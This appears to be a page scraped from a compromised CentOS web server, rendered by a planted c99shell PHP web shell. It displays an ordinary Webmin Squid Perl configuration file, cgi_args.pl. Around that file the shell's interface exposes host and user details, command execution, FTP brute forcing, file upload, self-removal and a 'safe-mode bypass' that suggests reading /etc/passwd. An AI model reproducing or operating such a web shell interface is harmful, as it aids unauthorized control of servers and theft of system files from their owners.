!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/squid/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     cgi_args.pl (2.1 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

do 'squid-lib.pl';

sub cgi_args
{
my ($cgi) = @_;
$conf = &get_config();
if ($cgi eq 'edit_cache_host.cgi') {
    # First other cache
    my $cache_host = $squid_version >= 2 ? "cache_peer" : "cache_host";
    my @ch = &find_config($cache_host, $conf);
    return @ch ? 'num=0' : 'new=1';
    }
elsif ($cgi eq 'always.cgi' && $squid_version >= 2.3) {
    # First ACL to always fetch directly
    my @always = &find_config("always_direct", $conf);
    return @always ? 'index='.$always[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'never.cgi' && $squid_version >= 2.3) {
    # First ACL to never fetch directly
    my @never = &find_config("never_direct", $conf);
    return @never ? 'index='.$never[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'acl.cgi') {
    # First ACL rule
    my @acls = &find_config("acl", $conf);
    return @acls ? 'index='.$acls[0]->{'index'} : 'type=src';
    }
elsif ($cgi eq 'http_access.cgi') {
    # First HTTP rule
    my @https = &find_config("http_access", $conf);
    return @https ? 'index='.$https[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'icp_access.cgi') {
    # First ICP rule
    my @icps = &find_config("icp_access", $conf);
    return @icps ? 'index='.$icps[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'edit_ext.cgi' && $squid_version >= 2.5) {
    # First external authenticator
    my @exts = &find_config("external_acl_type", $conf);
    return @exts ? 'index='.$exts[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'http_reply_access.cgi' && $squid_version >= 2.5) {
    # First reply rule
    my @replies = &find_config("http_reply_access", $conf);
    return @replies ? 'index='.$replies[0]->{'index'} : 'new=1';
    }
elsif ($cgi eq 'edit_acl.cgi') {
    # Supports linking, even though it calls ReadParse
    return '';
    }
elsif ($cgi eq 'edit_pool.cgi') {
    # First delay pool
    my @pools = &find_config("delay_class", $conf);
    return @pools ? 'idx='.$pools[0]->{'values'}->[0] : 'new=1';
    }
elsif ($cgi eq 'edit_headeracc.cgi') {
    # Creating request header
    return 'new=1&type=request_header_access';
    }
elsif ($cgi eq 'edit_refresh.cgi') {
    # First refresh rule
    my @refresh = &find_config("refresh_pattern", $conf);
    return @refresh ? 'index='.$refresh[0]->{'index'} : 'new=1';
    }
return undef;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0125 ]--